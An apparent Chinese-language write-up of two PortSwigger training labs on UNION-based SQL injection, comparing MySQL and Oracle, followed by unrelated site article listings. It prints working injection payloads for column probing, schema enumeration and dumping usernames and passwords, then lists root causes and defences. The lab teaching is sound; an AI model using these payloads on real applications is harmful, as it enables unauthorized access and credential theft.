PortSwigger SQL注入LAB5  LAB6
断列数最后把数据库中的结构信息回显到页面里。但它们的数据库环境并不一样一题侧重 MySQL另一题侧重 Oracle。正因为如此注释符、系统视图这些细节会有差别所以我把这两个 LAB 放在一起来分享也顺便做个对比。LAB5描述LAB6描述【本篇目标】先用 MySQL 题目演示一下我是怎么从列数探测一路做到字段枚举最后拿到 administrator 的密码并登录的。再补一段 Oracle 分支看看同样的题目在 Oracle 中换一种思路是怎样的。一、先记住这类题的通用思路这类 UNION 注入题的主线其实不复杂我一般会把它概括成四步确认注入点通常是一个看起来普通的分类参数。通过 ORDER BY n 判断原查询有几列。用 NULL 对齐列数再尝试把敏感数据带到可回显的列里。根据数据库类型调整注释符和系统函数。如果把这四步牢牢记住后面再看到相似题型时基本就是在切换数据库语法而不是重新发明一套打法。二、MySQL 分支通过列名拿到密码LAB主页LAB登录界面先看 MySQL 这道题。页面上的注入点仍然是 /filter?category…我先把后端查询大致推测出来SELECT * FROM products WHERE category ‘Gifts’2.1 探测列数为了让 UNION 语句成立我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试’ ORDER BY 1–’ ORDER BY 2–’ ORDER BY 3–Burp Suite 抓取结果2当 ORDER BY 3 报错时就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。【注释符提醒】MySQL 中 – 后面要保留空格如果在 URL 里直接用记得把空格写成 或 %20。本篇后续示例统一用 – 书写方便阅读。2.2 从信息架构里找字段这道题的核心不是直接猜表名而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息所以我先拿它来找用户名和密码字段Burp Suite 抓取结果3SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM information_schema.columns –筛选结果里会出现两个很显眼的字段username_vadgwn 和 password_txeztd。2.3 反查表名拿到列名之后我再反查它们来自哪个表SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘username_vadgwn’ –SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘password_txeztd’ –Burp Suite 抓取结果4Burp Suite 抓取结果5两次查询都指向同一个表 users_teluls说明凭据都存放在这里。2.4 回显用户名和密码既然已经确认表名我就可以把用户名和密码直接拼到 UNION 结果里SELECT * FROM products WHERE category ‘’ UNION SELECT username_vadgwn, password_txeztd FROM users_teluls –最终请求可以写成GET /filter?category’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls -- HTTP/2Burp Suite 抓取结果6把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功【MySQL 分支 Payload】’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls –三、Oracle 分支通过表名拿到密码Oracle 题和上面的 MySQL 题思路几乎相同不过我想换一种方法也就是先查表名再通过列名来验证是否为正确目标。3.1 查询表名在 MySQL 中我们是通过“人肉扫描”的办法来寻找可疑项的这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失这里我用了一个 upper 函数把 table_name 转成大写这样搜索时就不会区分大小写了。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE ‘%USER%’ –Burp Suite 抓取结果7通过模糊搜索表名我找到了可疑表名 USERS_NRCXBC。3.2 检索列名接下来我再看一下表中的列是不是我要找的用户名和密码。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name ‘USERS_NRCXBC’ –Burp Suite 抓取结果8可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC说明凭据确实存放在这张表里。3.3 回显用户名和密码确定了表名和列名之后我就可以把用户名和密码直接拼到 UNION 结果里了SELECT * FROM products WHERE category ‘’ UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC –最终请求可以写成GET /filter?category’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC -- HTTP/2Burp Suite 抓取结果9把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功2【Oracle 分支 Payload】’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC –四、两者的区别如果把这两道题放在一起看最容易混淆的地方其实不是 UNION 的写法而是数据库环境的切换。前面的操作步骤看起来差不多但真正落地时我还是得跟着数据库类型去调整注释符、系统视图和回显思路。对比项 MySQL 分支 Oracle 分支注释符 常用 – 注意后面要带空格 同样可以用 – 但更要留意 URL 编码元数据视图 主要看 information_schema.columns 主要看 all_tables 和 all_tab_columns查询思路 先找列名再反查表名最后回显用户名和密码 先模糊匹配表名再确认列名最后把目标字段直接拼进 UNION所以本质上它们还是同一道类型题先确认注入点再判断列数再按数据库语法去找元数据。只要把这个顺序稳住后面换成别的数据库也只是细节在变思路不会变。五、总结与防御建议这两道实验都属于 UNION 联合查询注入它们共同暴露出的问题也很一致用户输入直接拼接进 SQL错误信息被回显数据库元数据也没有被限制。根本成因我整理成三点产品类别过滤器参数被直接拼接到 SQL 语句中未做安全处理应用将数据库错误直接回显给客户端为列数探测和结构枚举提供反馈数据库账户和敏感表结构缺乏最小权限隔离导致凭据或版本信息可被直接读取。防御措施我也简单列一下参数化查询 —— 将 SQL 代码与用户数据彻底分离关闭详细错误回显 —— 生产环境屏蔽数据库报错细节避免泄露结构信息限制系统元数据访问 —— 对 information_schema 等元数据视图进行访问控制最小权限原则 —— 数据库账户仅授予必要权限统一审计和告警 —— 对高频的 ORDER BY、UNION、系统视图访问行为做监控。

相关新闻

Unity 2021.3与Pico SDK 230实现VR手势交互开发全流程

Unity 2021.3与Pico SDK 230实现VR手势交互开发全流程

1. 项目概述:为什么选择手势交互?最近在做一个面向Pico Neo 3/4的VR项目,客户明确要求“去手柄化”,希望用户能像电影里那样,直接用手势来操作界面、抓取物体。这其实反映了当前VR内容发展的一个趋势:从依赖…

2026/8/18 8:06:06 阅读更多 →
VMware安装CentOS7完整指南与优化配置

VMware安装CentOS7完整指南与优化配置

1. 项目概述在虚拟化技术普及的今天,使用VMware Workstation(简称VM)安装CentOS7仍然是许多开发者和运维人员的首选方案。作为一名长期使用Linux系统的老鸟,我完整记录了从镜像下载到系统配置的全过程,特别针对国内网络…

2026/8/22 2:02:30 阅读更多 →
信创环境下内网考试系统部署与安全实践

信创环境下内网考试系统部署与安全实践

1. 信创背景下的内网考试系统需求分析在数字化转型和国产化替代的大背景下,部队及涉密单位对内部考试培训系统的需求呈现出明显的特殊性。传统基于互联网的SaaS考试平台已无法满足这类单位对数据安全、系统可控性和国产化适配的严格要求。核心需求痛点主要体现在三个…

2026/8/22 7:17:59 阅读更多 →

最新新闻

【Docker项目实战】Docker环境下部署immich照片管理系统

【Docker项目实战】Docker环境下部署immich照片管理系统

【Docker项目实战】Docker环境下部署immich照片管理系统一、immich介绍1.1 immich简介1.2 immich注意事项1.3 immich使用场景二、本地环境介绍2.1 本地环境规划2.2 本次实践介绍三、本地环境检查3.1 检查Docker服务状态3.2 检查Docker版本3.3 检查docker compose 版本四、下载i…

2026/8/22 16:11:31 阅读更多 →
Go微服务链路追踪从Jaeger到OpenTelemetry的完整实践

Go微服务链路追踪从Jaeger到OpenTelemetry的完整实践

Go微服务链路追踪Jaeger-OpenTelemetry集成实战 文章导语 在微服务架构中,一个用户请求可能经过10个服务。当出现延迟或错误时,如何快速定位问题?分布式链路追踪就是为此而生。本文基于Jaeger和OpenTelemetry,在Go微服务中实现完整…

2026/8/22 16:11:31 阅读更多 →
前端js2

前端js2

值传递和引用传递值传递是传递变量的值,并不会改变方法外变量的值;引用传递是传递对象的地址,会改变对象本身的值;值传递:(形式参数类型是基本数据类型):方法调用时,实际参数把它的值传递给对应…

2026/8/22 16:11:31 阅读更多 →
Go微服务网关设计与实现从路由转发到限流熔断

Go微服务网关设计与实现从路由转发到限流熔断

Go微服务网关设计与实现从路由转发到限流熔断 文章导语 API网关是微服务架构的入口,承担着路由转发、认证鉴权、限流熔断、日志监控等职责。本文基于Go构建一个轻量级API网关,覆盖核心功能的实现。 一、反向代理核心 func NewGateway(config GatewayConf…

2026/8/22 16:11:31 阅读更多 →
Go微服务配置中心实现从静态配置到动态热更新

Go微服务配置中心实现从静态配置到动态热更新

Go微服务配置中心实现从静态配置到动态热更新 文章导语 配置管理是微服务治理的核心环节。硬编码配置→配置文件→环境变量→配置中心,是技术演进的必经之路。本文基于ViperNacos,实现Go微服务的动态配置管理。 一、Viper配置管理 func InitConfig() *vi…

2026/8/22 16:11:30 阅读更多 →
ol-ext 上手实操手册:OpenLayers 地图扩展库核心能力拆解

ol-ext 上手实操手册:OpenLayers 地图扩展库核心能力拆解

ol-ext 上手实操手册:OpenLayers 地图扩展库核心能力拆解 【免费下载链接】ol-ext Cool extensions for Openlayers (ol) - animated clusters, CSS popup, Font Awesome symbol renderer, charts for statistical map (pie/bar), layer switcher, wikipedia layer,…

2026/8/22 16:10:30 阅读更多 →

日新闻

沉金PCB工艺实战指南:从设计到SMT焊接的可靠性保障

沉金PCB工艺实战指南:从设计到SMT焊接的可靠性保障

在电子硬件开发领域,PCB(印制电路板)的沉金工艺是提升产品可靠性和焊接质量的关键环节。对于需要高密度互连、长期稳定运行或高频信号传输的板卡,如“黍姐仿通行证”这类可能涉及身份识别、数据交互的硬件项目,选择正确…

2026/8/22 0:00:11 阅读更多 →
电气考研电路八月强化四步法:从知识体系到真题实战的闭环攻略

电气考研电路八月强化四步法:从知识体系到真题实战的闭环攻略

这次我们来看一个针对电气考研电路科目的学习规划项目。它不是软件工具,而是一套聚焦于8月份关键节点的备考策略。对于电气工程考研的同学来说,电路分析是专业课的重中之重,也是拉开分差的关键。进入8月,复习进入强化阶段&#xf…

2026/8/22 0:00:11 阅读更多 →
消除AI代码的“AI味”:Claude Code设计优化技能配置与实战指南

消除AI代码的“AI味”:Claude Code设计优化技能配置与实战指南

大家好,我是专注于前端开发与AI工具实践的技术博主。在日常使用 Claude Code 等AI编程助手时,你是否也遇到过这样的困扰:生成的代码功能上没问题,但代码风格、组件设计、交互逻辑总透着一股“AI味”——布局单调、样式简陋、交互生…

2026/8/22 0:00:11 阅读更多 →

周新闻

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

基于阿里云与通义千问(Qwen)构建AI应用:从模型调用到生产部署的完整实践指南

如果你是一名开发者,最近可能已经感受到了AI大模型正在从“玩具”变成“生产力工具”的强烈信号。从代码补全到智能Agent,从本地部署到云端API,我们正处在一个技术栈快速重构的节点。然而,面对层出不穷的模型、框架和工具&#xf…

2026/8/21 3:21:33 阅读更多 →
工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

工业通信系统底层逻辑:04 反射——高频能量撞墙之后会发生什么?

第四篇:反射——高频能量撞墙之后会发生什么? —— 你以为信号已经过去了,其实它正在回来打你 老Q的现场笔记 第五季,我们正式进入工业神经系统层。这里不再是单个设备的战斗,而是整个工厂“经脉”层面的秩序之战。从这一篇开始,你将第一次看清:看似简单的信号传播,背…

2026/8/22 8:09:09 阅读更多 →
【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

【文章复现】非线性值迭代自适应动态规划(ADP):离散时间非线性系统的策略迭代自适应动态规划算法研究附Matlab代码

✅作者简介:热爱科研的Matlab仿真开发者,擅长毕业设计辅导、数学建模、数据处理、建模仿真、程序设计、完整代码获取、论文复现及科研仿真。🍎 往期回顾关注个人主页:Matlab科研工作室👇 关注我领取海量matlab电子书和…

2026/8/21 6:07:56 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/21 16:42:28 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/22 7:31:03 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/22 3:22:48 阅读更多 →